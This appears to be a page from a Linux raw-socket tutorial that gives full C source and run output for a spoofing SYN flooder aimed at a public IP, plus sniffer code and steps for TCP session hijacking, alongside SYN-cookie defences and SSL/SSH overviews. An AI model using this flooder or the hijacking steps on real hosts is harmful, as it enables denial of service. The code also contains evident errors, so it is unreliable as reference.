| Winsock & .NET | Winsock | < The RAW Socket Examples
|Linux/Unix OS Security Features > | Linux Socket Index |

LINUX SOCKET PART 18
Advanced TCP/IP - OTHER TCP/IP INFO

Menu

Network Story 1
Network Story 2
Network Story 3
Network Story 4
Network Story 5
Network Story 6
Socket Example 1
Socket Example 2
Socket Example 3
Socket Example 4

This is a continuation from Part IV series, Advanced TCP/IP Programming Tutorial. Working program examples if any compiled using gcc, tested using the public IPs, run on **Fedora Core 3**, with several times of update, as root or SUID 0. The Fedora machine used for the testing having the "No Stack Execute" disabled and the SELinux set to default configuration.

SYN Flag Flooding

By referring to the previous "three-way handshake" of the TCP, when the server gets a connection request, it sends a SYN-ACK to the spoofed IP address, normally doesn't exist. The connection is made to time-out until it gets the ACK segment (often called a **half-open connection**). Since the server connection queue resource is limited, flooding the server with continuous SYN segments can slow down the server or completely push it offline. This SYN flooding technique involves spoofing the IP address and sending multiple SYN segments to a server. In this case, a full tcp connection is never established. We can also write a code, which sends a SYN packet with a randomly spoofed IP to avoid the firewall blocking. This will result in all the entries in our spoofed IP list, sending RST segments to the victim server, upon getting the SYN-ACK from the victim. This can choke the target server and often form a crucial part of a **Denial Of Service** (DOS) attack. When the attack is launched by many zombie hosts from various location, all target the same victim, it becomes **Distributed DOS** (DDOS). In worse case this DOS/DDOS attack might be combined with other exploits such as buffer overflow. The DOS/DDOS attack also normally use transit hosts as launching pads

Socket Example 5
Socket Example 6
Socket Example 7
Advanced TCP/IP 1
Advanced TCP/IP 2
Advanced TCP/IP 3
Advanced TCP/IP 4
Advanced TCP/IP 5

for attack. This means the attack may come from a valid IP/Domain name and masking the real initiators. The following is a program example that constantly sends out SYN requests to a host (Syn flooder).

```
[root@bakawali testraw]# cat synflood.c
#include <unistd.h>
#include <stdio.h>
#include <sys/socket.h>
#include <netinet/ip.h>
#include <netinet/tcp.h>

/* TCP flags, can define something like
this if needed */
/*
#define URG 32
#define ACK 16
#define PSH 8
#define RST 4
#define SYN 2
#define FIN 1
*/

struct ipheader {
 unsigned char      iph_ihl:5, /* Little-
endian */
                    iph_ver:4;
 unsigned char      iph_tos;
 unsigned short int iph_len;
 unsigned short int iph_ident;
 unsigned char      iph_flags;
 unsigned short int iph_offset;
 unsigned char      iph_ttl;
 unsigned char      iph_protocol;
 unsigned short int iph_chksum;
 unsigned int       iph_sourceip;
 unsigned int       iph_destip;
};


/* Structure of the TCP header */
struct tcpheader {
 unsigned short int   tcph_srcport;
 unsigned short int   tcph_destport;
 unsigned int            tcph_seqnum;
 unsigned int            tcph_acknum;
 unsigned char         tcph_reserved:4,
```

```
tcph_offset:4;
 unsigned int
       tcp_res1:4,       /*little-endian*/
       tcph_hlen:4,      /*length of tcp header in
32-bit words*/
       tcph_fin:1,       /*Finish flag "fin"*/
       tcph_syn:1,       /*Synchronize sequence
numbers to start a connection*/
       tcph_rst:1,       /*Reset flag */
       tcph_psh:1,       /*Push, sends data to the
application*/
       tcph_ack:1,       /*acknowledge*/
       tcph_urg:1,       /*urgent pointer*/
       tcph_res2:2;
 unsigned short int   tcph_win;
 unsigned short int   tcph_chksum;
 unsigned short int   tcph_urgptr;
};

/* function for header checksums */
unsigned short csum (unsigned short *buf, int nwords)
{
  unsigned long sum;
  for (sum = 0; nwords > 0; nwords--)
    sum += *buf++;
  sum = (sum >> 16) + (sum & 0xffff);
  sum += (sum >> 16);
  return (unsigned short)(~sum);
}

int main(int argc, char *argv[ ])
{
  /* open raw socket */
 int s = socket(PF_INET, SOCK_RAW, IPPROTO_TCP);
  /* this buffer will contain ip header, tcp header,
and payload we'll
     point an ip header structure at its beginning,
and a tcp header
     structure after that to write the header values
into it */
 char datagram[4096];
 struct ipheader *iph = (struct ipheader *)
datagram;
  struct tcpheader *tcph = (struct tcpheader *)
datagram + sizeof (struct ipheader);
  struct sockaddr_in sin;
```

```
  if(argc != 3)
  {
       printf("Invalid parameters!\n");
       printf("Usage: %s <target IP/hostname> <port
to be flooded>\n", argv[0]);
       exit(-1);
  }

  unsigned int floodport = atoi(argv[2]);
 /* the sockaddr_in structure containing the
destination
   address is used in sendto() to determine the
datagrams path */
 sin.sin_family = AF_INET;
 /* you byte-order >1byte header values to network
byte
   order (not needed on big-endian machines). */
 sin.sin_port = htons(floodport);

  sin.sin_addr.s_addr = inet_addr(argv[1]);
    /* zero out the buffer */
    memset(datagram, 0, 4096);
    /* we'll now fill in the ip/tcp header values */
    iph->iph_ihl = 5;
    iph->iph_ver = 4;
  iph->iph_tos = 0;
  /* just datagram, no payload. You can add payload
as needed */
  iph->iph_len = sizeof (struct ipheader) + sizeof
(struct tcpheader);
  /* the value doesn't matter here */
   iph->iph_ident = htonl (54321);
   iph->iph_offset = 0;
   iph->iph_ttl = 255;
  iph->iph_protocol = 6;  // upper layer protocol,
TCP
   /* set it to 0 before computing the actual
checksum later */
  iph->iph_chksum = 0;


 /* SYN's can be blindly spoofed.  Better to create
randomly
    generated IP to avoid blocking by firewall */
 iph->iph_sourceip = inet_addr ("192.168.3.100");
 /* Better if we can create a range of destination
IP,
```

```
    so we can flood all of them at the same time */
  iph->iph_destip = sin.sin_addr.s_addr;
  /* arbitrary port for source */
   tcph->tcph_srcport = htons (5678);
  tcph->tcph_destport = htons (floodport);
  /* in a SYN packet, the sequence is a random */
  tcph->tcph_seqnum = random();
  /* number, and the ACK sequence is 0 in the 1st
packet */
   tcph->tcph_acknum = 0;
   tcph->tcph_res2 = 0;
   /* first and only tcp segment */
  tcph->tcph_offset = 0;
  /* initial connection request, I failed to use
TH_FIN,
     so check the tcp.h, TH_FIN = 0x02 or use #define
TH_FIN 0x02*/
  tcph->tcph_syn = 0x02;
  /* maximum allowed window size */
  tcph->tcph_win = htonl (65535);
   /* if you set a checksum to zero, your kernel's IP
stack should
     fill in the correct checksum during
transmission. */
   tcph->tcph_chksum = 0;
   tcph-> tcph_urgptr = 0;

   iph-> iph_chksum = csum ((unsigned short *)
datagram, iph-> iph_len >> 1);

/* a IP_HDRINCL call, to make sure that the kernel
knows
   the header is included in the data, and doesn't
insert
   its own header into the packet before our data */
/* Some dummy */
int tmp = 1;
const int *val = &tmp;
if(setsockopt (s, IPPROTO_IP, IP_HDRINCL, val, sizeof
(tmp)) < 0)
{
  printf("Error: setsockopt() - Cannot set
HDRINCL!\n");
  /* If something wrong, just exit */
  exit(-1);
}
else
```

```
  printf("OK, using your own header!\n");

/* You have to manually stop this program */
while(1)
{
  if(sendto(s,                          /* our socket */
            datagram,                   /* the buffer
containing headers and data */
            iph->iph_len,               /* total length
of our datagram */
            0,                          /* routing
flags, normally always 0 */
            (struct sockaddr *) &sin, /* socket addr,
just like in */
            sizeof (sin)) < 0)          /* a normal
send() */
     printf("sendto() error!!!.\n");
  else
    printf("Flooding %s at %u...\n", argv[1],
floodport);

}
  return 0;
}

[root@bakawali testraw]# gcc synflood.c -o synflood
[root@bakawali testraw]# ./synflood
Invalid parameters!
Usage: ./synflood <target IP/hostname> <port to be
flooded>
[root@bakawali testraw]# ./synflood  203.106.93.88
53
OK, using your own header!
Flooding 203.106.93.88 at 53...
Flooding 203.106.93.88 at 53...
Flooding 203.106.93.88 at 53...
Flooding 203.106.93.88 at 53...
Flooding 203.106.93.88 at 53...
...
```

You can verify this 'attack' at the target machine by issuing the tcpdump –vv command or other network monitoring programs such as Ethereal.

SYN Cookies

SYN flooding leaves a finite number of half-open connections in the server while the server is waiting for a SYN-ACK acknowledgment. As long as the connection state is maintained, SYN flooding can prove to be a disaster in a production

network. Though SYN flooding capitalizes on the basic flaw in TCP, ways have been found to keep the target system from going down by not maintaining connection states to consume precious resources. Though increasing the connection queue and decreasing the connection time-out period will help to a certain extent, it won't be effective under a rapid DDOS attack. SYN Cookies has been introduced and becomes part of the Linux kernels, in order to protect your system from a SYN flood. In the SYN cookies implementation of TCP, when the server receives a SYN packet, it responds with a SYN-ACK packet with the ACK sequence number calculated from source address, source port, source sequence, destination address, destination port, and a secret seed. Then the server relinquishes the state about the connection. If an ACK comes from the client, the server can recalculate it to determine whether it is a response to the former SYN-ACK, which the server sent. To protect your system from SYN flooding, the SYN Cookies have to be enabled.

1. `echo 1 > /proc/sys/net/ipv4/tcp_syncookies` to your `/etc/rc.d/rc.local` script.
2. Edit `/etc/sysctl.conf` file and add the following line:

   ```
   net.ipv4.tcp_syncookies = 1
   ```

3. Restart your system.

Session Hijacking

Raw socket can also be used for Session Hijacking. In this case, we inject our own packet that having same specification with the original packet and replace it. As discussed in the previous section of the tcp connection termination, the client who needs to terminate the connection sends a FIN segment to the server (TCP Packet with the FIN flag set) indicating that it has finished sending the data. The server, upon receiving the FIN segment, does not terminate the connection but enters into a "passive close" (CLOSE_WAIT) state and sends an ACK for the FIN back to the client with the **sequence number** incremented by one. Now the server enters into LAST_ACK state. When the client gets the last ACK from the server, it enters into a TIME_WAIT state, and sends an ACK back to the server with the **sequence number** incremented by one. When the server gets the ACK from the client, it closes the connection.
Before trying to hijack a TCP connection, we need to understand the TIME_WAIT state. Consider two systems, A and B, communicating. After terminating the connection, if these two clients want to communicate again, they should not be allowed to establish a connection before a certain period. This is because stray packets (if there are any) transferred during the initial session should not confuse the second session initialization. So TCP has set the TIME_WAIT period to be twice the MSL (Maximum Segment Lifetime) for the packet. We can spoof our TCP packets and can try to reset an established TCP connection with the following

steps:

1. Sniff a TCP connection. In Linux for example, we need to set our Network Interface (NIC) to **Promiscuous** mode. In program, this can be done by using the setsockopt(). For example:

```
// add the promiscuous mode
struct packet_mreq mr;
memset(&mr, 0, sizeof(mr));
mr.mr_ifindex = ifconfig.ifindex;
mr.mr_type = PACKET_MR_PROMISC;

if(setsockopt(ifconfig.sockid, SOL_PACKET,
PACKET_ADD_MEMBERSHIP, (char *)&mr, sizeof(mr)) < 0)
{
    perror("Failed to add the promiscuous mode");
    return (1);
}
```

2. Check if the packet has ACK flag set. If set, the **Acknowledgment** number is recorded (which will be our next packet sequence number) along with the source IP.

Establish a raw socket with spoofed IP and send out the FIN packet to the client with the recorded sequence number. Make sure that you have also set your ACK flag. Session Hijacking can also be done with the RST (Reset) flag.
A **sniffer** programs must make the network interface card (NIC) on a machine enter into a so-called promiscuous mode. This is because, for example, an Ethernet NIC is built with a filter that ignores all traffic that does not belong to it. This means it ignores all frames whose destination MAC address does not match with its own. Through the NICs driver, a sniffer program need to turn off this filter, putting the NIC into mode called promiscuous so that it will listen to all type of traffic that supposed to contain all type of packets. The typical NICs used in workstations and PCs nowadays can be put into promiscuous mode quite easily by turning the mode on or off. In fact, on many NICs, it is also possible to reprogram their MAC addresses. Network analyzing equipment deliberately and legitimately needs to observe all traffic, and hence be promiscuous.

SYN Handshakes

Port scanner/sniffer such as Nmap use raw sockets to the advantage of **stealth**. They use a half-way-SYN handshake that basically works like the following steps:

1. Host A sends a special SYN packet to host B.
2. Host B sends back a SYN/ACK packet to host A.
3. Host A send RST packet in return.

This way, host B knows when it gets a connection and this is how most port scanners work. Nmap and others however, use raw sockets. When the SYN/ACK packet is received from host B, indicating that B got the SYN, host A then uses this and sends a special RST (flag) packet (short for ReSeT) back to host B saying never mind about the connection, thus, they never make a full connection and the scan is stealthed out.
Well, from the story in this Module, raw sockets are an extremely powerful method of controlling the underlying protocol of a packet and its data. Any network programmer should learn and understand how to use them for the right purposes.

Further interesting reading and digging:

Secure Socket Layer (SSL)

A protocol developed originally by Netscape for transmitting private documents via the Internet in an encrypted form. SSL ensures that the information is sent, unchanged, only to the server you intended to send it to. For example, online shopping sites frequently use SSL technology to safeguard your credit card information. SSL is a protocol for encrypting TCP/IP traffic that also incorporates authentication and data integrity. The newest version of SSL is sometimes referred to as Transport Layer Security (TLS) (the specification can be found at RFC 2246 and TLS v1.0 is equivalent to SSL v3.1. SSL runs on top of TCP/IP and can be applied to almost any sort of connection-oriented communication. SSL is based on session-key encryption. It adds a number of extra features, including authentication based on X.509 certificates and integrity checking with message authentication codes.
It is an extension of sockets, which allow a client and a server to establish a stream of communication with each other in a secured manner. They begin with a handshake, which allows identities to be established and keys to be exchanged. SSL uses a cryptographic system that uses two keys to encrypt data: a **public key** known to everyone and a **private** or **secr**et key known only to the recipient of the message. It is most commonly used to secure http. Both Netscape Navigator and Internet Explorer browsers support SSL and many web sites use the protocol to obtain confidential user information. By convention, URLs that require an SSL

connection start with https: instead of http:.
Another protocol for transmitting data securely over the World Wide Web is Secure HTTP (S-HTTP). Whereas SSL creates a secure connection between a client and a server, over which any amount of data can be sent securely, S-HTTP is designed to transmit individual messages securely. SSL and S-HTTP, therefore, can be seen as complementary rather than competing technologies. Both protocols have been approved by the Internet Engineering Task Force (IETF) as a standard.
You can try OpenSSL, the open source version to learn more about SSL. One of real project example that implements the SSL is Apache web server (apache-ssl). Information about program examples can be obtained at openssl examples

Secure Shell (SSH)

Many users of **telnet**, **rlogin**, **ftp** and other communication programs transmit data such as user name and password across the Internet in unencrypted form. For more general applications, SSH encrypts all traffic (including passwords) to effectively eliminate eavesdropping, connection hijacking, and other network-level attacks. Originally developed by SSH Communications Security Ltd., Secure Shell provides strong authentication and secure communications over insecure channels such as internet. It is a replacement for unsecured rlogin, rsh, rcp, and rdist. SSH protects a network from attacks such as IP spoofing, IP source routing, and DNS spoofing. An attacker who has managed to take over a network can only force SSH to disconnect. He or she cannot play back the traffic or hijack the connection when encryption is enabled. For example, when using ssh's secure login (instead of rlogin) the entire login session, including transmission of password, is encrypted; therefore it is almost impossible for an outsider to collect passwords. SSH is available for Windows, Unix, Macintosh, and OS/2, commercial or open source version and it also works with RSA authentication.
To learn more about SSH, you ca use the free, open source version, OpenSSH. The OpenSSH suite includes the SSH program which replaces rlogin and telnet, scp which replaces rcp, and sftp which replaces ftp. Also included is sshd which is the server side of the package, and the other basic utilities like ssh-add, ssh-agent, ssh-keysign, ssh-keyscan, ssh-keygen and sftp-server. OpenSSH supports SSH protocol versions 1.3, 1.5, and 2.0.

More reading and digging:

1. Check the best selling C / C++, Networking, Linux and Open Source books at Amazon.com.
2. GCC, GDB and other related tools.

| Winsock & .NET | Winsock | < The RAW Socket Examples
|Linux/Unix OS Security Features > | Linux Socket Index |